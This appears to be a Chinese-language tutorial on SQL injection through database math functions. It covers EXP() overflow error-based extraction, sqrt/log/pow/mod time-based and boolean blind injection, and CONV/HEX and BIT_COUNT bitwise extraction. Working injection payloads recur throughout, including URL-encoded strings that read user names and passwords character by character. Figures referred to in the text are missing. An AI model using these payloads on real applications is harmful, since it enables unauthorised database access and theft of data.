一、数学函数在报错注入中的应用
原理:某些数学函数在特定参数下会触发数据库错误,结合报错注入技术可实现数据提取。
典型案例:EXP()
-- MySQL:利用exp()函数溢出触发报错(需满足~0按位取反后数值足够大)
SELECT EXP(~(SELECT * FROM (SELECT version())x))
-- 报错信息会返回当前数据库版本:Double value is out of range in 'exp(~((select version() from dual)))'


这是一个 Double 型数据溢出造成的问题。在 MySQL 中,exp() 为指数函数,与 ln() 和 log() 对数函数的功能相反,log() 和 ln() 都是返回以 e 为底数的对数:

当 exp() 运算超出 709 的数时,就会导致溢出错误:


在 MySQL 数据库查询中,对 0 按位取反,我们能得到最大的无符号 BIGINT 值。在计算机中,高位第一位为符号位,1 为负数,0 为正数:

加入子查询,就会先执行子查询的结果,再对结果进行取反:


因此,只要我们对子查询的结果进行取反,再放入 exp() 函数中,就可以通过报错注入获取到想要的数据:

这种方法就是利用数学函数的特性,结合数据库语法进行注入获取数据。
二、盲注中的数学函数技巧
熟悉理解上面讲述的知识后,再基于 SQL 查询中各类取值和运算方法,我们就能构造出更灵活的注入方式。
在注入类型中,最常见的就是盲注。毕竟处理异常报错问题是开发人员的必修课,大多数情况下的注入都不会把数据库报错信息直接抛出来。
这时,注入判断通常分为两种:一种是时间差异判断,另一种是响应结果内容差异判断。结合数学函数的运行结果来操控这些差异的幅度,就能获取准确的数据库信息。
1. 时间盲注(Time-Based)
sqrt(n):平方根,会对传入的数据进行开平方。如果传入的数据小于 0,则返回 NULL。Oracle 会直接报错 ORA-01428: argument 'number' is out of range。
-- MySQL:利用sleep()或重复计算消耗时间
select sleep(sqrt(ASCII(SUBSTR(user(),1,1))-114));
-- 若首字符ASCII为114('r'),则延迟响应0秒
-- 若sleep内传入的数小于0,则会报错



当判断的数字远远小于需要获取的值时,会特别消耗时间资源,所以一般不建议直接延时运算的值,而是配合条件判断一起使用,除非判断函数被限制:

log(n) / log(m,n):返回自然数的对数。n 小于 0 时为 null,Oracle 会报错;log(1)=0。因为对数求值结果较小,时间开销不大,比较推荐:
select if ((log(ASCII(SUBSTR(user(),1,1))-113))=0,sleep(1),1);

pow(m,n):幂运算。当底数是负数且指数是非整数时,会报错。直接以结果进行延时判断,消耗时间相对可控:
select pow(4,0.5);
-- ex
'+or+if(POW((ASCII(SUBSTR(user(),1,1))-114),0.5)=0,sleep(2),1)='1


mod(m,n):模运算,本质为求余数。如果模运算的除数为零,则返回 null,Oracle 会报错。如果第一个值和第二个值的绝对值求余不为 0,且第一个值小于第二个值的绝对值,则直接返回第一个值,否则返回余数。
select mod(0,-1);
-- 0与任何数的余数都为0
select sleep(3/ISNULL(MOD(0,ASCII(SUBSTR(user(),1,1))-114)));
-- isnull表示判断是否为null,是返回1,否则返回0

ACOS(n) 和 ASIN(n):三角函数/反三角函数,取值范围在 -1 到 1 之间,返回值约在 3.14 到 0、-1.5 到 1.5 之间。超出取值范围返回 null,Oracle 会报错。正弦曲线峰值约为 1.5,余弦曲线峰值约为 3.14,推荐使用余弦函数。


还有如 ln()、ceil()、floor() 和 TAN() 等函数。数据库不同,部分数学函数的用法也存在差异,这里就不全部列举了,感兴趣的可以自行了解。
2. 布尔盲注(Boolean-Based)
-- 通过数学运算构造真/假条件
SELECT * FROM users WHERE id=1 AND (LENGTH(database())=8)*1=1
-- 若数据库名长度为8则返回正常页面,否则无结果
在根据返回内容进行判断的情况下,通过函数正常执行与非正常执行,或执行后的差异不同,即可判断注入得到对应的结果。
例如 sqrt():我们可以通过 isnull 来判断,运算结果为 null 则返回 1,否则返回 0:

当无法使用类似于 ISNULL 这种判断方法时,其实也可以直接根据运算结果去获取数据:


当然,如果正常查询本身的内容为空,导致无法依据回显数据差异来判断,就可以利用函数错误执行触发异常处理来显示差异。例如 sqrt() 在 Oracle 中小于 0 就会报错:


sqrt 函数的特性是计算的值不应小于 0,所以只要计算值不小于 0,就不会执行错误。因此我们 fuzz 判断的依据是:当第一次出现异常结果,即 sqrt(-1) 时,正确字符的 ASCII 值就为 fuzz 结果减 1 的值。也可以取最后一次正常的值 sqrt(0):


第一个字符的 ASCII 值就是 83,即字符 S。依次类推,就能得到最终结果 SYSTEM。
其他函数也是如此,通过触发其非预期的处理或错误执行,来进行注入判断获取数据。
三、数据转换绕过
使用数学函数时,我们需要把要获取的字符串截取出来,并转换为数值进行运算。
1. 字符串转数值
-- 将字符转换为ASCII码后参与运算
SELECT ORD('a')-96 -- 返回1(ASCII码转换)
-- 结合SUBSTR逐位提取数据:
SELECT (ASCII(SUBSTR(password,1,1)) > 100) FROM users WHERE id=1
2. 进制转换绕过过滤
-- 使用CONV()函数进行进制转换
SELECT CONV(HEX(SUBSTR(user(),1,1)),16,10)
-- 将字符转为十进制数值
四、进阶:数学函数与位运算
-- 利用BIT_COUNT()函数进行二进制分析
SELECT BIT_COUNT(ASCII('a') & 1) -- 判断字符最低位是否为1
-- 结合逐位探测可提取完整数据
在 MySQL 中,BIT_COUNT(n) 是位计数函数,用于计算数字中 1 的个数。例如对于数字 1,二进制表示为 0000 0001,只有一个 1,所以 BIT_COUNT(1) 返回 1。
a 的 ASCII 值为 97,二进制表示为 0110 0001,与 0000 0001 进行与运算,得到的结果为 0000 0001。再通过位计数函数,就能判断出 a 的 ASCII 值的二进制表示最低位为 1。
128=1000 0000、64=0100 0000、32=0010 0000、16=0001 0000、8=0000 1000、4=0000 0100、2=0000 0010。
依此类推,通过位运算,我们可以逐渐得到字符 ASCII 值的二进制表示中每个位上是 1 还是 0:


合起来结果就是 0110 0001,即字符 a。
再将上述的转换绕过和错误执行判断相结合进行注入:
SELECT sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)&1));
1'+or+1/sqrt(BIT_COUNT(CONV(HEX(SUBSTR(user(),1,1)),16,10)%261))='1
例如下图:

依据正常执行与执行报错的响应不同进行判断,能得到结果为 0111 0010,即获取到第一个字符为 r。
以上内容完整保留了原文中与 SQL 注入数学函数相关的技术原理、示例代码、执行截图与利用思路,去除了原文末尾的公众号、圈子、知识库、漏洞库、面试库、POC 库及工具推广内容。